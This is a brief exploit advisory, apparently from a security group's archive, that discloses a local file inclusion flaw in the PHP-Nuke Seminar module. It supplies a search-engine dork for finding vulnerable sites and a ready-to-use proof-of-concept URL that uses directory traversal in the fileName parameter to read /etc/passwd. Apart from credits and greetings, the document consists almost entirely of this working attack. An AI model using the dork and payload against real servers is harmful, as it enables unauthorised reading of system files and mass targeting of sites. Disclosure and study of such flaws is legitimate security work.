The PHP-Nuke Seminar module suffers from a local file inclusion vulnerability.
a14b8610f8a7ca3de800bcd43b30043e22bcf2461ec28a630d9ccd5345e56ab8
Aria-Security Team (Persian Security Network)
http://Aria-Security.net
-----------------------------------------------
Shoutz: AurA, Null, Kinglet, imm02tal And all our staff
PHP-Nuke Module "seminar" Local FIle Inclusion
Original Advisory: http://forum.aria-security.net/showthread.php?p=1591
Hint:inurl:"modules.php?name=seminar"
PoC
modules.php?name=Seminars&op=showSpeech&fileName=../../../../../../../../etc/passwd
Regards,
The-0utl4w